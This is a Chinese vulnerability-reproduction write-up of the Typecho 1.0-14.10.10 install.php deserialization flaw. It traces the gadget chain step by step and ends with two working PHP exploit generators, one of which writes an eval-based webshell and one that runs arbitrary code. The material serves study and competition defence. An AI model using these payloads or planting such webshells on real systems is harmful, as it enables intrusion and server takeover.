前言
NSS AWD(二)遇到了这个模板的漏洞,这里直接挑最主要的CVE漏洞来复现
环境搭建
在PHPstudy上运行
PHP = 5.6.9
Typecho下载
影响版本:Typecho1.0-14.10.10
下载链接:https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release
创建数据库
导入
将下载的文件解压到PHPstudy中,创建网站
安装
访问对应的网址
然后初始化配置中数据库配置对应前面创建的数据库即可
再次访问网站,此时就已经配置好了
漏洞复现
概述
前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码
分析
直接看install.php
搜索unserialize找到对应漏洞源码,反序列化的入口
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
首先,这里将
Typecho_cookie::get()
方法的值 base64 解码 再反序列化回来赋值给$config
而且可以发现
__typecho_config
参数是可控的然后全局搜索
Typecho_cookie
方法在
/var/Typecho/Cookie.php
找到Typecho_cookie
类看到get方法
/** * 获取指定的COOKIE值 * * @access public * @param string $key 指定的参数 * @param string $default 默认的参数 * @return mixed */ public static function get($key, $default = NULL) { $key = self::$_prefix . $key; $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default); return is_array($value) ? $default : $value; }
可以看到这里对 POST 或者 Cookie 传入的
__typecho_config
变量进行一个反序列化,并且不能为数组再回到 install.php 中继续分析,对于
Typecho_Cookie::delete('__typecho_config');
Typecho_Cookie::delete()
方法用于删除指定的 cookie 值/** * 删除指定的COOKIE值 * * @access public * @param string $key 指定的参数 * @return void */ public static function delete($key) { $key = self::$_prefix . $key; if (!isset($_COOKIE[$key])) { return; } setcookie($key, '', time() - 2592000, self::$_path); unset($_COOKIE[$key]); }
接下来 new 了一个
Typecho_Db
的新对象$db,将 $config 中的 adapter 和 prefix 的值传入全局搜索定位类
Typecho_Db
,定位到文件/var/Typecho/Db.php
来到
__construct()
魔术方法中public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName(); }
发现这里将对象
$adapterName
直接拼接在一串字符串后面,那就是当作字符串处理了,也就是说会触发__toString
魔术方法全局搜索
__toString()
在
/var/Typecho/Feed.php
中找到有用信息,直接看有用的部分/** * 所有的items * * @access private * @var array */ private $_items = array(); ...... /** * 输出字符串 * * @access public * @return string */ public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en') { $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } ...... public function __toString() { foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; if (!empty($item['category']) && is_array($item['category'])) { foreach ($item['category'] as $category) { $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL; } } ...... $content = ''; $lastUpdate = 0; foreach ($this->_items as $item) { $content .= '<entry>' . self::EOL; $content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL; $content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL; $content .= '<id>' . $item['link'] . '</id>' . self::EOL; $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL; $content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL; $content .= '<author> <name>' . $item['author']->screenName . '</name> <uri>' . $item['author']->url . '</uri> </author>' . self::EOL; if (!empty($item['category']) && is_array($item['category'])) { foreach ($item['category'] as $category) { $content .= '<category scheme="' . $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL; } } ...... } $result .= '<title type="text">' . htmlspecialchars($this->_title) . '</title> <subtitle type="text">' . htmlspecialchars($this->_subTitle) . '</subtitle> <updated>' . $this->dateFormat($lastUpdate) . '</updated> <generator uri="http://typecho.org/" version="' . $this->_version . '">Typecho</generator> <link rel="alternate" type="text/html" href="' . $this->_baseUrl . '" /> <id>' . $this->_feedUrl . '</id> <link rel="self" type="application/atom+xml" href="' . $this->_feedUrl . '" /> '; $result .= $content . '</feed>'; } return $result; }
发现使用了
$item['author']->screenName
,而这个$item
是$this->_items
里面循环出来的,将$item['author']
赋值为一个对象,而被私有属性$_item
指向的screenName也是私有的那么对象中的 screenName 不可访问的时候(私有或者不存在)就会调用
__get()
魔术方法全局搜索
function __get()
魔术方法,定位到文件/var/Typecho/Request.php
/** * 获取实际传递参数(magic) * * @access public * @param string $key 指定参数 * @return mixed */ public function __get($key) { return $this->get($key); }
跟进到
get()
方法/** * 获取实际传递参数 * * @access public * @param string $key 指定参数 * @param mixed $default 默认参数 (default: NULL) * @return mixed */ public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
发现最后调用了
_applyFilter
方法跟进到
_applyFilter
方法private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value; }
发现存在敏感函数
call_user_func()
,而且里面的两个参数都是$filter
是$this->_filter
循环出来的 ,$value
则是由上面的 get() 函数中传参进来的,两个参数都是可控的,可以构造$filter
为 system ,$value
为 whoami,就可以命令执行了
利用
直接看核心部分的php代码
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
根据上文的分析反序列化漏洞 存在于 install.php 文件的安装程序中,
要正确执行安装程序需要两个参数,第一个参数就是通过 GET 传参一个 finish
赋一个任意值,第二个就是 _typecho_config
参数
而这个_typecho_config
参数这个参数就是我们反序列化漏洞利用的重点
我们构造一个序列化后的字符串 POC ,POST或者Cookie传参赋给 _typecho_config
参数,配合上文漏洞分析最后 1 步分析出的 敏感函数 call_user_func()
就可以达到命令执行的效果
接下来是构造思路:
Typecho_Db::set($db);
–>__construct()
–>$adapterName
(拼接到字符串中) –>__toString
–>$item['author']->screenName
(screenName 不可访问) –>__get()
–>get()
–>_applyFilter
–>call_user_func()
(两个参数可控)$filter
是 class Typecho_Request 的私有属性,/** * 当前过滤器 * * @access private * @var array */ private $_filter = array(); ... foreach ($this->_filter as $filter)
$item['author']
也就是$this->_items
即 class Typecho_Feed 的 私有属性$_items
‘/** * 所有的items * * @access private * @var array */ private $_items = array();
但是漏洞利用在 class Typecho_Request 中,
$item['author']
是对象时,要保证访问私有属性 screenName 调用的__get()
魔术方法是 class Typecho_Feed ,才能实现最终利用 敏感函数 call_user_func() 执行命令要解决这个,我们只要在 class Typecho_Feed 中 __construct()魔术方法中 new 一个 class Typecho_Request 的对象
为了绕过 敏感函数 call_user_func() 中的
is_array
, class Typecho_Request 中私有属性的数据结构需要都是 array$db
对象新建时传入了两个参数$config['adapter']
和$config['prefix']
,对象新建是首先会调用__construct()
魔术方法,联系起来,$config['adapter']=new Typecho_Feed()
即可全部串起来
payload1
此payload无回显,建议直接写马
<?php
class Typecho_Request{
private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
private $_filter= array('assert');
}
class Typecho_Feed{
private $_items=array();
private $_type='ATOM 1.0';
public function __construct()
{
$items['author']=new Typecho_Request();
$this->_items[0]=$items;
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = 'typecho'; // 值是任意的
$payload = base64_encode(serialize($config));
echo $payload;
?>
传入参数,成功写入一句话木马shell.php
payload2
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct() {
$this->_type = $this::RSS2;
#$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = "phpinfo()"; //此处修改需要执行的代码
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
传入参数,成功执行phpinfo()
后日谈
这算是本人第一次走了一遍cms-cve的复现流程,感觉真的好难555
不过也是为了以后能够自主挖洞做的一点准备(
payload1和payload2的区别就在于有没有多传一个category,两种方法会导致有无回显的差别
突然意识到在awd的时候我们只需要改掉传参的参数名就可以避免这个漏洞被利用(